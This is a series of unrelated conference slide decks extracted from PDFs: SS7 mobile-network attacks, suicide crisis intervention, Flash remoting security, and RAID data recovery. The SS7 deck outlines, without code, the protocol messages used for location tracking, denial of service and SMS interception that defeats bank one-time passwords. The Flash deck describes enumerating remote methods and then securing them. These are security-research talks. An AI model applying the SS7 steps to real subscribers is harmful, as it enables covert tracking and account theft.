Hacking mobile network via SS7: interception, shadowing and more Dmitry Kurbatov Vladimir Kropotov Positive Research Agenda • Intro • Attacks prerequisites, costs and case studies • Official and underground market brief • Possible Security measures • Forecasts In Service LTE Networks VoLTE Networks http://ltemaps.org/ The most of the world performs HANGDOVER LTE only for web browsing To perform a call subscriber is downgraded to 3G (handover) Interconnect / roaming SS7 E1 GRX IP IPX IP 2G / 3G 3G / 4G 3G / 4G Kind of IPv4 vs IPv6 dilemma Mobility Call control Billing Crypto SS7 is still most used interconnect/ roaming network SS7 SS7 A B MSC VLR Gateway MSC SMS-C HLR Billing 2014 - year of SS7 security issues Hackito Ergo Sum 2014 • Locating mobile phones Positive Hack Days IV • How to Intercept a Conversation Held on the Other Side of the Planet Washington Post • Secretly track cellphones 31C3 • SS7: Locate. Track. Manipulate • Mobile self-defense SS7 for (bad) guys Tracking • Locating mobile phones and secretly tracking Denial of Service • Disrupt subscriber connectivity and service availability Interception • Listen to calls, intercept short messages Threats to Operator Threats to IoT Basic Terms • IMSI ~ SIM Card • IMEI ~ Device • MSISDN ~ Your Number • HLR ~ Subscriber DB • MSC ~ Call Processing Tracking / 跟踪(位置) SMS-C MSC HLR 1 2 Common Step 0 for Any Attack 1. Attacker sends request SendRoutingInfoForSM addressing MAP message by MSISDN 2. HLR replies with: • own address • serving MSC address • IMSI I am SMSC Bob SMS-C MSC HLR 1 2 Get Cell ID 1. Attacker sends request provideSubscriberInfo addressing MAP message by IMSI and asking for subscriber location 2. MSC replies with Cell ID: • MCC - 250 • MNC - 90 • LAC 4A67 • CID 673D I am SMSC Bob Get Location… MCC: 250 MNC: 90 LAC: 4A67 CID: 673D 1 Search in Internet for physical location by MCC, MNC, LAC, CID Bob …and Track User Just Like SkyLock http://s3.documentcloud.org/documents/1275167/skylock-product-description-2013.pdf Underground market demands Tracking subscriber using the phone number Yep, Even in 2010 Tracking Nobody wants to be constantly monitored. Tracking is a violation of “Personal data protection” laws. Very hard to stop: • AnyTimeInterrogation • ProvideSubscriberInfo • ProvideSubscriberLocation DoS / 阻斷服務攻擊 To make someone unavailable To stop data leakage What else? SMS-C MSC HLR 1 2 Common Step 0 for Any Attack 1. Attacker sends request SendRoutingInfoForSM addressing MAP message by MSISDN 2. HLR replies with: • own address • serving MSC address • IMSI Fake MSC Bob SMS-C MSC HLR Fake MSC Bob 1 3 2 Denial of Service. Step 1 1. Attacker registers Bob on the fake MSC 2. HLR sets up new location for Bob 3. HLR asks real MSC to release a memory SMS-C Alex MSC 1 2 HLR 3 Fake MSC Bob Denial of Service. Step 2 1. Alex calls Bob 2. MSC is looking for Bob and asks HLR to provide information 3. HLR asks fake MSC to provide Roaming Number demo Interception / 截聽 How to Intercept SMS (截聽短信) • A virus on a smartphone – and what if a certain subscriber is a target? How to infect him particularly? • Reissue SIM? It works only once. • Radio signal interception (GSM A5/1)? You need to be nearby. • Via SS7 network A Cheap Way For Tapping + + 10$ + OpenSource (f)or $$7 SMS-C MSC HLR 1 2 Common Step 0 for Any Attack 1. Attacker sends request SendRoutingInfoForSM addressing MAP message by MSISDN 2. HLR replies with: • own address • serving MSC address • IMSI Fake MSC Bob SMS-C MSC HLR Fake MSC Bob 1 3 2 SMS Interception. Step 1 1. Attacker registers Bob on the fake MSC 2. HLR sets up new location for Bob 3. HLR asks real MSC to release a memory SMS-C Alex 2 MSC 1 3 HLR 4 5 Fake MSC Bob SMS Interception. Step 2 1. Alex sends SMS to Bob 2. MSC translates the SMS to SMS-C 3. SMS-C requests HLR for Bob`s location 4. HLR replies with a fake MSC address 5. SMS-C translates SMS to the fake MSC demo SMS Interception, We “Really Missed” You • Access to payment service • Recover passwords for email and social networks • Online banking OTP Illegal cases ― TBD SMS Interception Payment confirmation SMS Interception Devices for SMS Interception Active actions and Impersonation ―Mobile balance transfer over USSD ―Premium Rate SMS Subscriptions ―Credit cards money transfers via phone ―Even fake calls from Victim number How to Get Into SS7 How They Can Get Into SS7 Legal with license Semi legal without Find a guy Hack border device Find a Guy Find a Guy Find a Guy Hack border device Today: IP Connectivity Misconfiguration Example Critical Research Updates • SS7 security threats • Mobile Internet vulnerabilities (GPRS) • SIM vulnerabilities http://www.ptsecurity.com/library/whitepapers/ http://blog.ptsecurity.com/ Dmitry Kurbatov dkurbatov@ptsecurity.com Questions? Vladimir Kropotov vkropotov@ptsecurity.com
pdf
Suicide Risk Assessment and Intervention Tactics and Intervention Tactics Amber Baldet This won't be depressing. Trigger Warning: Discussion of mental health, self-harm, substance use/abuse, trauma, suicide depressing. amberella@attrition.org @amberbaldet The Numbers Leading Causes of Death in the United States, 2010: 1. Heart disease 2. Cancer 3. Chronic lower respiratory diseases 4. Stroke Cause of Death Count Suicide involving a firearm 38,364 19,392 Source: Number of deaths for leading causes of death (2010), CDC 4. Stroke 5. Accidents (unintentional injuries) 6. Alzheimer's disease 7. Diabetes 8. Nephritis (kidney failure) 9. Influenza & Pneumonia 10. Suicide (intentional self-harm) 11. Septicemia (infection) 12. Chronic liver disease (cirrhosis) 13. Hypertension 14. Parkinson's disease 15. Pneumonia involving a firearm by other means Homicide involving a firearm by other means 19,392 18,972 16,259 11,078 5,181 Suicide Rate for All Age Groups (US), 2010 Age Group / Rate per 100,000 20 The Numbers Total 85 + 75 - 84 65 - 74 55 - 64 45 - 54 35 - 44 25 - 34 15 - 24 5 - 14 5 10 15 Source: American Association of Suicidology, Suicide in the USA Based on 2010 Data Frequency of Suicide Completion • Tenth most common cause of death among the total US population • Third behind accidents and homicide for males age 15 - 24 • The Numbers • Second only to accidental death among males age 25 - 34 Annual deaths in men age 18-34 (US) 20,000 15,000 10,000 5,000 Vietnam War HIV/AIDS 1955 1960 1965 1970 1975 1980 1985 1990 1995 Year / Total Deaths Chart: Jamison, Kay Redfield. Night Falls Fast: Understanding Suicide. Suicide How Did We Get Here? History of Stigma Clinical alternatives to "Committed" • Died by • Stop saying "committed" suicide. • Completed instead of “successful” • Was a victim of • Killed themselves How Did We Get Here? Evolution of Mental Health Treatment Selected Mathematician & Scientist Suicides Ludwig Boltzman Paul Drude Clara Immerwahr Aleksandr Lyapunov 1906, statistical mechanics 1908, electromagnetism 1915, chemical weapons 1918, stability, physics, probability Hans Fischer Yutaka Taniyama Jenő Egerváry Renato Caccioppoli 1945, nobel prize for chemistry 1958, modularity theorem 1958, combinatorial algo optim. 1959, differential calculus Our Community Aleksandr Lyapunov Emil Fischer Clemens von Pirquet Ludwig Haberlandt George Eastman Paul Ehrenfest Wallace Carothers Lev Schnirelmann William Campbell Paul Epstein Wolfgang Doeblin Hans Berger R. Schoenheimer Felix Hausdorff Dénes Kőnig 1918, stability, physics, probability 1919, nobel prize for chemistry 1929, bacteriology, immunology 1932, hormonal contraception 1932, eastman kodak 1933, quantum mechanics 1937, organic chemistry, nylon 1938, differential geometry 1938, NAS president, relativity 1939, epstein zeta function 1940, markov processes 1941, EEG, alpha wave rhythm 1941, isotope tagging 1942, topology, set theory 1944, graph theory Renato Caccioppoli Hessel de Vries Percy Bridgman Jon Hal Folkman C.P. Ramanujam George R. Price D.R. Fulkerson John Northrop Valery Legasov Bruno Bettelheim Andreas Floer Robert Schommer Garrett Hardin Denice Denton Andrew E. Lange 1959, differential calculus 1959, radiocarbon dating 1961, nobel prize for physics 1969, combinatorics 1974, number theory 1975, game theory, geneticist 1976, network maximum flow 1987, nobel prize for chemistry 1988, chernobyl investigation 1990, jungian/freudian child psych 1991, manifolds, homology 2001, astronomy, astrophysics 2003, tragedy of the commons 2006, electrical engineering 2010, astrophysics Selected Mathematician & Scientist Suicides Our Community Ludwig Boltzman Paul Drude Clara Immerwahr Aleksandr Lyapunov 1906, statistical mechanics 1908, electromagnetism 1915, chemical weapons 1918, stability, physics, probability Hans Fischer Yutaka Taniyama Jenő Egerváry Renato Caccioppoli 1945, nobel prize for chemistry 1958, modularity theorem 1958, combinatorial algo optim. 1959, differential calculus Aleksandr Lyapunov Emil Fischer Clemens von Pirquet Ludwig Haberlandt George Eastman Paul Ehrenfest Wallace Carothers Lev Schnirelmann William Campbell Paul Epstein Wolfgang Doeblin Hans Berger R. Schoenheimer Felix Hausdorff Dénes Kőnig 1918, stability, physics, probability 1919, nobel prize for chemistry 1929, bacteriology, immunology 1932, hormonal contraception 1932, eastman kodak 1933, quantum mechanics 1937, organic chemistry, nylon 1938, differential geometry 1938, NAS president, relativity 1939, epstein zeta function 1940, markov processes 1941, EEG, alpha wave rhythm 1941, isotope tagging 1942, topology, set theory 1944, graph theory Renato Caccioppoli Hessel de Vries Percy Bridgman Jon Hal Folkman C.P. Ramanujam George R. Price D.R. Fulkerson John Northrop Valery Legasov Bruno Bettelheim Andreas Floer Robert Schommer Garrett Hardin Denice Denton Andrew E. Lange 1959, differential calculus 1959, radiocarbon dating 1961, nobel prize for physics 1969, combinatorics 1974, number theory 1975, game theory, geneticist 1976, network maximum flow 1987, nobel prize for chemistry 1988, chernobyl investigation 1990, jungian/freudian child psych 1991, manifolds, homology 2001, astronomy, astrophysics 2003, tragedy of the commons 2006, electrical engineering 2010, astrophysics Our Community Selected Computer Science Suicides Alan Turing Klara Dan von Neumann Chris McKinstry Push Singh 1954, computation, cryptanalysis 1963, wrote ENIAC controls, MANIAC programmer 2006, artificial intelligence (mindpixel), VLT operator 2007, artificial intelligence (openmind common sense, MIT) Push Singh Jonathan James Sam Roweis Bill Zeller Len Sassaman Ilya Zhitomirskiy Charles Staples Stell Aaron Swartz Igal Koshevoy 2007, artificial intelligence (openmind common sense, MIT) 2008, DOD intrusion (ISS software), TJX implication 2010, machine learning (vision learning graphics, NYU) 2011, software development, government release of public data 2011, cypherpunk, cryptography, privacy advocate 2011, free software development (diaspora) 2012, UGA data breach suspect 2013, open development, CC, RSS, digital rights activism 2013, open source development (osbridge, calagator) Talking About Suicide Contagion: Exposure to suicide or suicidal behavior directly or indirectly (via media) influences others to attempt suicide. Talking About Suicide Responsible Journalism & Social Media Standards What We Should Say How We Should Say It "Committed" Instead, use "completed" or "died by" Don't present suicide as a means to a certain end, a valid coping mechanism, or an understandable solution CDC Recommendations on Suicide Contagion & Reporting Instead, use "completed" or "died by" Suicide is never the result of a single factor or event Suicide is the result of extremely complex interactions between psychological, social, and medical problems Suicide results, most often, from a long history of problems valid coping mechanism, or an understandable solution to a specific problem Don't make venerating statements out of context (e.g. "She was a great kid with a bright future.") Do temper coverage of displays of grief Do promote coping strategies and post links to prevention resources Talking About Suicide Important Terms Suicidal Ideation Thoughts of suicide, varying in seriousness depending on specificity of plan Suicidal Intent Subjective expectation and desire for a self destructive act to end in death Suicide Attempt Self-injurious behavior with intent to die, with non-fatal outcome Aborted Suicide Attempt Potentially self-injurious behavior with intent to die, stopped before harm caused Self Harm Willful infliction of painful, destructive, or self-injurious acts without intent to die Lethality Likelihood of a specific act to cause death. Perceived lethality often differs from objective lethality. Comorbidity Presence of one or more diseases or disorders in addition to a primary disease or disorder Person in Crisis (PIC) During an intervention, the distressed person Risk Assessment Evaluation of risk & protective factors to determine potential suicide risk & mitigation recommendations Threat Analysis Evaluation of criticality of the current crisis situation, identification of prescriptive interventions Talking About Suicide Mental Illnesses Most Closely Related to Suicide Mood Disorders Depression Major depression Bipolar disorder (manic-depressive) Schizophrenia Auditory hallucinations, paranoid or bizarre delusions, significant social or occupational dysfunction Personality Disorders Cluster A - paranoia, anhedonia Cluster B - antisocial, borderline, histrionic, narcissistic Cluster C - avoidant, dependent, obsessive compulsive Anxiety Disorders Continuous or episodic worries or fear about real or imagined events Panic disorder, OCD, PTSD, social anxiety Alcoholism / Substance Abuse Physical dependence on drugs or alcohol A Quick Sidebar On Depression: • A period of depression is not the same as having a mood disorder o Online tests can help you self-diagnose and follow up with a professional. o You don't need to be diagnosed with a mental illness to benefit from talking about life. o Depressive (and manic) phases ebb and flow in severity. Use the calmer times to make a o Depressive (and manic) phases ebb and flow in severity. Use the calmer times to make a safety plan. • Avoid these well intentioned slippery slopes: o "You have to cultivate happiness" o "We create the world around us" o "You just need more will power" People with mental illnesses can't "just snap out of it" A Quick Sidebar Things we can talk about at happy hour: • Rational suicide • Physician assisted suicide • (In)voluntarism of suicidal acts • • (In)voluntarism of suicidal acts • Free will, choice • Genetic predispositions, heredity • Harm reduction strategies • Ethics of intervention & reporting • Human rights concerns of involuntary commitment Keyword: Pragmatism Talking About Suicide Suicide Risk Correlation Previous Suicide Attempt Depression Manic Depression Mood Disorders number of times the general population risk Opiates Substance Abuse Alcohol Schizophrenia Personality Disorders Anxiety Disorders AIDS Huntington's Disease Multiple Sclerosis Cancer Medical Illnesses 40 30 20 10 Source: Jamison, Kay Redfield. Night Falls Fast: Understanding Suicide. Our Community Underdiagnosis of Mood Disorders Startup culture & "The Show" • Mania is the desired state • Mania is the desired state • Depression is stigmatized • Constant cycle of youth / burnout • Chronically under-insured • Drug/alcohol use is trivialized I'll sleep when I'm dead, too busy CRUSHING IT Our Community Underdiagnosis of Personality Disorders Antisocial Behavior Paranoia Isolation • Some employees of U.S. Government agencies have access to dedicated mental Isolation Obsession • Expected • Tolerated • Encouraged • Idolized Just because you're paranoid doesn't mean they're not after you agencies have access to dedicated mental health resources (possibly with Clearance) • Difficult to find qualified resources in the private sector • Trust is critical to therapeutic relationships So what do we do? Brilliant Madness So what do we do? Crowd Sourced Intervention: A Fickle Mistress So what do we do? Crowd Sourced Intervention: A Fickle Mistress So what do we do? Online Crisis Response 30% of callers to suicide hotlines hang up Efficacy appears to be equivalent, though Efficacy appears to be equivalent, though data analysis is more difficult online For basic users, somewhat more anonymous than phone IMAlive has very consistent training Volunteer pairing has the same "luck of the draw" as via phone So what do we do? Learn QPR Gatekeeper Training • Community education program • Not a form of counseling or treatment, but does offer hope & referrals • Not a form of counseling or treatment, but does offer hope & referrals • Confronts common myths and encourages proactive intervention • Teaches common verbal, behavior, and situational clues • Encourages participants to direclty ask “The S Question” • Offers examples of how to persuade the PIC to accept help • Instructs participants how to make a relevant referral. QPR = Question | Persuade | Refer http://www.QPRInstitute.com Intervention Tactics Tactics Crisis Intervention is Easy …Supporting a depressed friend is hard. Crisis Intervention Hotline Frientervention Person in Crisis (PIC) seeks you out You may need to proactively confront a friend Person in Crisis (PIC) seeks you out PIC assumes you are qualified, +1 to credibility Interactions has finite bounds • Hotline volunteers must remain anonymous • Therapists can set their hours of availability Lack of personal involvement allows clarity You may need to proactively confront a friend Friend sees you as a peer Friends may have an expectation of "always on“ access • IM, Email, Text, Phone, Residence - no boundaries! • Not reaching you can make them feel cut off or ignored Personal involvement may introduce bias Lack of improvement in their situation may degrade their perception of your credibility over time Emotional exhaustion Integrity Karma Even if they don't feel better today... Even if you missed that call that time... Even if you don't know what to say sometimes... Even if you don't know what to say sometimes... If they know you care, friends (and sometimes strangers!) will reach out to you when it counts. Risk Assessment Biological Mood/Personality Disorders, Family History Disorders/diseases comorbid with depression Sexual Orientation Biological Sex Genetic Load Fundamental Risks Proximal Risks Triggers / "Last Straws" Relationship Crisis Loss of Freedom Increasing hopelessness & contemplation of suicide as a solution WALL OF RESISTANCE Disorders/diseases comorbid with depression Ethnicity Age Personal / Psychological Child Abuse Loss of a Parent Values / Religious Beliefs Culture Shock / Shift Drugs / Alcohol Environmental Season Sociopolitical Climate Genetic Knowledge Bullying Therapy History Geography Model for Suicide Urban / Rural Isolation Perceived Loss = Real Loss All causes are "real" Loss of Freedom Fired / Expelled Medical Diagnosis Any Major Loss Financial Debt Relapse Public Shame Civilian / Military PTSD Career Identity Increasing hopelessness & contemplation of suicide as a solution Death WALL OF RESISTANCE Risk Assessment The Wall of Resistance (Protective Factors) Graphic adapted from QPR Instructor supplemental training materials Threat Analysis 1. Is a suicide attempt in progress now? 2. What's wrong? Ideation Current suicidal thoughts? Within the past two months? Frequency of recurrence? Length of episodes? Desire Why now? 1. Who is involved? o Degree of isolation (physical and psychological) o Negative relationships (risks), Positive relationships (buffers) 2. Why NOT now? o Identify reasons for living, protective factors Desire Why now? Intent With what? (has not decided | has means now | easy access | lethality) Where and when? (vague | detailed | preparatory acts) Capability Where and when in the past? (attempts | rehearsals | self-harm) Threat Assessment Determine as many as possible: Desire Intent Capability Buffers Current ideation Psychological pain Suicide attempt in progress Plans to kill self with method known History of suicide attempts Exposure to death by suicide Internal Ability to cope with stress Expressing hopelessness Reporting helplessness Feels like a burden on others Feels trapped Feels intolerably lonely known Plans to kill other as well as self Expressed intent to die Preparatory behaviors Has secured means Practice with method History of / current violence toward others Available means of killing self / other Currently intoxicated Substance abuse (recent | current) Acute symptoms of mental illness Recent dramatic mood change Out of touch with reality Not sleeping Aggression, Rage, Impulsivity Recent change in treatment Access to firearms Ability to cope with stress Spiritual beliefs Core values / purpose in life Frustration tolerance Planning for the future External Immediate supports Strong community bonds People connections Familial responsibility Pregnancy Engagement with you Positive therapeutic relationship Threat Assessment Threat Level: This chart is meant to represent a range of risk levels and interventions, not actual determinations Risk Level Risk / Protective Factors Suicidality Possible Interventions Source: Suicide Assessment Five-step Evaluation and Triage (SAFE-T) Factors Interventions HIGH Psychiatric disorders with severe symptoms, or acute precipitating event; protective factors not relevant Potentially lethal suicide attempt or persistent ideation with strong intent or suicide rehearsal Admission generally indicated unless a significant change reduces risk. Suicide precautions MODERATE Multiple risk factors, few protective factors Suicidal ideation with plan, but no intent or behavior Admission may be necessary depending on risk factors. Develop crisis plan Give emergency / crisis numbers LOW Modifiable risk factors, strong protective factors Thoughts of death, no plan, intent or behavior Outpatient referral, symptom reductions Give emergency / crisis numbers Reporting Obligations Legal / Ethical Responsibility to Report: • Doctors, nurses, trained medical professionals • Counselors, therapists, psychologists, psychiatrists, etc. • Licensed teachers & administrators • Licensed teachers & administrators • Social workers (duty to warn and protect) • Crisis hotline volunteers (as possible) • Scientific researchers Are you a licensed professional being paid to evaluate the PIC's mental state? Active Listening Active Listening Building Rapport & Trust: Constructive Destructive Ask one question at a time Interrupting GOAL: Get the PIC to accept your help in finding better qualified help Ask one question at a time Give the person time to respond Repeat back the person's input as output to confirm that what you heard is what they meant Say when you don't understand, ask for clarification Ask open ended questions Interrupting Asking questions in succession Promising to keep a secret "Leading the witness" Trying to solve their problems Rational/Philosophical arguments Minimizing their concerns or fears Active Listening Organic Threat Assessment: Elicit risks and protective factors PIC: I never say the right thing. I don't have friends. No one understands me. Be direct in creating a safe space PIC: Whatever, I don't want to bother you. Responder: No worries, I have some time to talk. But first I Active Listening is not Social Engineering No one understands me. Responder: It sounds like you feel lonely and misunderstood. Does that sound right? PIC: Yeah. Responder: Have you ever told anyone else you feel that way?OR When you feel like that, what do you usually do? Responder: No worries, I have some time to talk. But first I want to make sure you're safe now. Did you hurt yourself at all tonight? PIC: No. I thought about it but not yet.Responder: That's good to hear. Are you drinking or did you take anything? PIC: I had a few beers. Responder: Ok, thanks for telling me. Do you think you can hold off on drinking any more while we talk? PIC: Yeah, sure. Responder: I appreciate it, it's easier for us to focus that way. You said before you didn't hurt yourself "yet" ... Can you tell me more about what you meant by that? Active Listening Separate Feelings from States of Being "I AM lonely [and no one will ever love me]." "I FEEL lonely right now, but I could talk to a friend.” "I FEEL lonely right now, but I could talk to a friend.” "I AM a mess [and I could not change even if I wanted to]." "I FEEL heartbroken and exhausted and furious and overwhelmed right now, but I didn't always feel this way in the past, and I won't always feel this way in the future. I can't change what happened, but I can change how I react to how I feel about it." Active Listening Identify feelings that can be addressed directly "I feel sad | depressed | suicidal" Afraid Apprehensive Confused Hesitant Embarrassed Guilty Tense Anxious Apprehensive Frightened Panicked Annoyed Dismayed Impatient Angry Outraged Resentful Averse Repulsed Hungry Hesitant Lost Disconnected Bored Cold Distracted Numb Disquieted Restless Shocked Uncomfortable Lonely Guilty Self-Conscious Fatigued Exhausted Tired Worn Out Pain Grief Heartbroken Regretful Discouraged Hopeless Anxious Edgy Frazzled Overwhelmed Vulnerable Fragile Shaky Yearning Jealous Nostalgic Wistful Hateful Active Listening Identifying Root Feelings • "I am so burnt out." • "I feel exhausted from working all the time and going home just stresses me out more." • • "I feel exhausted from working all the time and angry that I have to be on call 24/7 just to get an ounce of recognition from my boss, and the attitude I take home isn't making my family life any better. And this new guy at work is eyeing my stapler, that bastard." • "That new guy seems pretty good, and I'm terrified he's going to replace me if I can't prove to everyone that I'm on his level. But what if Itry to learn the new stuff, I'll find out I'm not as fast at it as I used to be? My family would be so disappointed in me if they knew. I've been shutting them out, and now I feel guilty that it's gone on for so long that I can't bring it up and admit this is all my fault. I think about home when I'm at work, and work when I'm at home, and get nothing constructive done at either." Solutions Make the Hand-Off (assuming Threat Level is low) • Identify professional resources in your area • Use the Googles to find local resources • Find out about the PICs insurance plan • Find out about current/past therapy relationships • Make the call for an appointment • Go together or schedule a meet up before or after the appointment Solutions Enlist buffers • Distribute risk, don't be a single point of contact • Identify people who can help whom the PIC trusts • Identify people who can help whom the PIC trusts • Get the PIC to agree to talk to them • Identify recurring appointments, ensure they continue • Document in the crisis plan Solutions Proactive Crisis Plan • Formulate while in the more rational phase of a cycle • Distribute to friends, secure their support ahead of time • Example is an abbreviated version, for full plan see supplemental materials For when I'm feeling • Overwhelmed • Angry • Helpless • Confused • Lonely Possible Activities • Play MMO • Walk around the city • Work on blog • Make a gift for someone • Learn to cook a new thing • Read at the cafe MY CRISIS PLAN 1. Take a deep breath 2. Ask for suicidal thoughts to be removed from my brain 3. HALT 4. Take another deep breath 5. Identify feelings 6. Practice Feelings vs. Facts 7. Write down the feeling for later review 8. "Do in spite of how I feel" 9. Choose an activity 10. See who's online / call someone Jeff xxx-xxx-xxxx Mark xxx-xxx-xxxx Julie xxx-xxx-xxxx 11. 5 minutes of meditation 12. Choose a task and practice doing it in the present 13. Call emergency contact Therapist xxx-xxx-xxxx Psych Center xxx-xxx-xxxx Hotline xxx-xxx-xxxx 14. Put down weapons and keep both hands on the phone Tactical Crisis Response Resources You! Talking to someone trusted who is educated about suicide intervention can save a life. If possible, talk in person. While implementing QPR, you can research alternate referral options and help get the PIC to a safe space. 911 If you think/know an attempt is in progress, call Emergency Services 911 If you think/know an attempt is in progress, call Emergency Services immediately. Current or Past Therapist Professionals with knowledge of the PIC's medical / psychological history are invaluable. Past therapists can help make quality referrals (e.g. after a move or due to insurance change). If the PIC won't make the call, you can. Hospital / Counseling Center Making the physical move to safe environment drastically lowers mortality risk. Hotlines National Suicide Prevention Lifeline National Hopeline Network The Trevor Lifeline Boys Town National Hotline National Domestic Violence Hotline Rape, Abuse, Incest National Network (RAINN) 800.273.TALK (8255) 800.784.2433 866.488.7386 800.448.3000 800.799.SAFE (7233) 800.656.HOPE (4673) Internet Chat IMAlive imalive.org Education & Advocacy Reddit /r/suicidewatch /r/suicidology /r/reasontolive Blue Hackers Mental health for the hacker community Resources Blue Hackers Mental health for the hacker community Bluehackers.org American Association of Suicidology Advancement of suicidology as a science suicidology.org Stop a Suicide Educational resources, screenings, intervention tools stopasuicide.org American Foundation for Suicide Prevention Research funding, policy advocacy afsp.org Kristin Brooks Hope Center Education, runs Hopeline hotline The Trevor Project Resources for LGBT youth rproject.org Books: • Blauner, Susan Rose. How I Stayed Alive When My Brain Was Trying to Kill Me. ISBN: 0060936215 • Conroy, David L, Ph.D. Out of the Nightmare: Recovery from Depression and Suicidal Pain. eISBN: 978-1-4502-4734-4 • Jamison, Kay Redfield. Night Falls Fast: Understanding Suicide. eISBN: 978-0-307-77989-2 • Jamison, Kay Redfield. Touched with Fire: Manic-Depressive Illness and the Artistic Temperament. eISBN 978-1-439-10663-1 • Quinnett, Paul G. Counseling Suicidal People: A Therapy of Hope. ISBN: 978-0-9705076-1-7 • Quinnett, Paul G. Suicide: The Forever Decision. ISBN: 0-8245-1352-5 Data & Resources • QPR Gatekeeper Certification Program: qprinstitute.com • References • QPR Gatekeeper Certification Program: qprinstitute.com • Suicide Prevention Resource Center: Suicide Assessment Five-step Evaluation & Triage (SAFE-T) sprc.org • Center for Disease Control: Deaths and Mortality Final Data for 2010 cdc.gov Images & Screenshots: • Patient in a Cage - Mass Media Depictions of Mental Illness, historypsychiatry.com • Ringing of the Mental Health Bell - The Story of Our Symbol, mentalhealthamerica.net • Brick Wall - Solna Brick wall vilt forband,wikimedia.org • Burial at the Crossroads, historynotes.info • Goethe, The Sorrows of Young Werther, wikimedia.org • Godzilla escapes Mount Mihara, flixter.com • Golden Gate Bridge - Dead Set, Grateful Dead wikipedia.org • Scumbag Brain - anomicofficedrone.wordpress.com • Why you shouldn't do what Aaron did - Hacker News • thatfatcat images - Imgur 1 Imgur 2 Imgur 3 • I am going to kill myself in a few hours. AMA - Reddit • IMAlive chat interface - imalive.org
pdf
Jon Rose Trustwave’s SpiderLabs Flash Remoting Technologies Flex Data Services •  Data Management –  Update client and/or server when data changes •  Messaging –  Real Time Messaging protocol (RTMP) –  Pub-sub model –  Real-time data streaming •  Remoting –  HTTP, SOAP, AMF –  Automatic data marshalling •  PDF –  Create and edit PDF’s CrossDomain.xml Flash Remoting Insecurity •  Developers fail to restrict access to methods: –  Authentication –  Authorization •  Method & Service names can be brute-forced •  Flex servers can be fingerprinted •  Common vulns in remote methods: –  Injections –  Information leakage –  Denial of service –  Privilege escalation Finding Methods & Services •  Decompile SWF and search for remoting calls •  Watch network traffic •  Dictionary attack against server Finding SWF Remoting Calls •  Download SWF file •  Decompile –  Sothink SWF decompiler or HP SWFScan •  Analyze ServerConfig.xml •  Regex for remoting methods SWF Remoting ServerConfig.xml •  Often embedded in the SWF •  Provide URL's and service names •  Destination id represents services –  securityService –  exampleService –  mathService SWF Remoting Search •  Search for remoting methods –  send, service, remote, etc findstr /I /N /S ”sender\." *.as AMF Network Traffic •  AMF is: –  Serialized ActionScript object –  Transported as HTTP POST body •  Charles proxy can intercept and decode AMF traffic •  Wireshark captures can disclose Url's, Services, and Methods –  No native decoder AMF Network – Charles Proxy AMF Network – Wireshark Dictionary Attacks •  Determine valid service and methods –  Based on error messages –  Fairly fast –  Easily predictable method/service names •  Login •  getters •  setters –  Possible to build default wordlist Securing Flash Remoting •  BlazeDS –  Only public methods defined in remoting-config can be called –  Use security-constraints in remoting-config.xml to each method •  include-methods •  exclude-methods –  Read the Adobe BlazeDS security docs Securing Flash Remoting •  AMFPHP –  Methods that start with an underscore cannot be remotely called –  Remove the Service Browser and DiscoveryService service –  Disable remote tracing and debugging headers by setting PRODUCTION_SERVER –  Use beforeFilter for authorization controls •  PYAMF –  Enable authentication on the server Questions •  Next Steps •  Future Research •  Latest Code –  deblaze-tool.appspot.com •  Thanks –  Spiderlabs –  Nick Joyce –  Stads9000 –  GDS crew •  Contact me: –  jrose@owasp.org –  jrose@trustwave.com
pdf
Forensic Data Recovery – MyHardDriveDied.com © 2009 1 RAID by Sight and Sound By Scott A. Moulton Of My Hard Drive Died & Forensic Strategy Services LLC Forensic Data Recovery – MyHardDriveDied.com © 2009 2 Topics for Talk •  Brief Coverage of NOT RAID •  Brief Intro to RAID •  RAID 0 •  RAID 5 •  Demo of Rebuild Forensic Data Recovery – MyHardDriveDied.com © 2009 3 Assumptions •  We are assuming you have already done what I previously described in previous videos and classes to repair the damaged drive. •  You now have a running drive and have imaged it in some fashion and will use that for reassembly. Forensic Data Recovery – MyHardDriveDied.com © 2009 4 RAID Array’s •  Redundant Array of (Inexpensive or Independent) Disks. •  Some arrays are not “Redundant” •  Different types of arrays may need different numbers of drives in the array and may give you different results in free space available by how they are setup. Forensic Data Recovery – MyHardDriveDied.com © 2009 5 JBOD Drives •  Means “Just a Bunch of Disks” and they are just linked logically together end to end. •  These drives usually have no fan, get very hot and contain several drives. Sometimes the cables are melted together. •  I have found that some recoveries that are using these JBOD will work once repaired, even if the Lacie board is burnt out, just by placing them in a G5 and connecting them and booting on a Mac external disk. This is great for when you cannot repair the Lacie board or power supply. Forensic Data Recovery – MyHardDriveDied.com © 2009 6 LaCie and other JBOD Drives Forensic Data Recovery – MyHardDriveDied.com © 2009 7 LaCie and other JBOD Drives Forensic Data Recovery – MyHardDriveDied.com © 2009 8 LaCie NAS Boxes Forensic Data Recovery – MyHardDriveDied.com © 2009 9 Dynamic Disks •  Dynamic disks do not use partition tables, they use LDM which is at the end of the disk and needs to be done backwards. It uses one single partition occupying the entire disk minus one cylinder. When volumes are added or deleted the partition table is not updated. •  This will be noticed right away by some data recovery software like R-Studio. Forensic Data Recovery – MyHardDriveDied.com © 2009 10 Types of RAID Arrays Overview From Wikipedia.org RAID 0 is one of the types of RAID that are often in for recovery Forensic Data Recovery – MyHardDriveDied.com © 2009 11 Types of RAID Arrays Overview From Wikipedia.org RAID 5 is one of the most common types of RAID that are seen for recovery Forensic Data Recovery – MyHardDriveDied.com © 2009 12 RAID 0: How it works •  RAID 0 has no redundancy for protecting data and if one drive fails you loose the array. •  IN short RAID 0 should be called AIDS. –  Array of Inexpensive Drives that Suck Forensic Data Recovery – MyHardDriveDied.com © 2009 13 RAID 0: How it works •  RAID 0 is a very simple type of raid that is used mainly to gain speed and performance by spreading your reads and write cycles over two drives. •  RAID 0 can, depending on the controller and the choice of the manufacture, vary the size and location of the strip and it is helpful to know the brand and type of controller. Forensic Data Recovery – MyHardDriveDied.com © 2009 14 RAID 0 strips with only two drives From Wikipedia.org Forensic Data Recovery – MyHardDriveDied.com © 2009 15 RAID 0 Two Drives + •  There are RAID 0 arrays with more than two drives, however there is no sequencing numbers and the order of the array is determined by the data’s location there is no way to determine the order of the drives in the array. •  With two drives, the array is either stored in one order, or the other, but if there are 4 drives in the array, there are at least 72 different combinations and no indication of what way is correct. This will make recovery exponentially difficult and in many cases a disaster. Forensic Data Recovery – MyHardDriveDied.com © 2009 16 RAID 0 •  In most cases you can determine the first drive in the array, depending on the slice size. •  How? •  If the slice size is larger than 32k, at sector 63 you will see the active boot partition, in most cases… Forensic Data Recovery – MyHardDriveDied.com © 2009 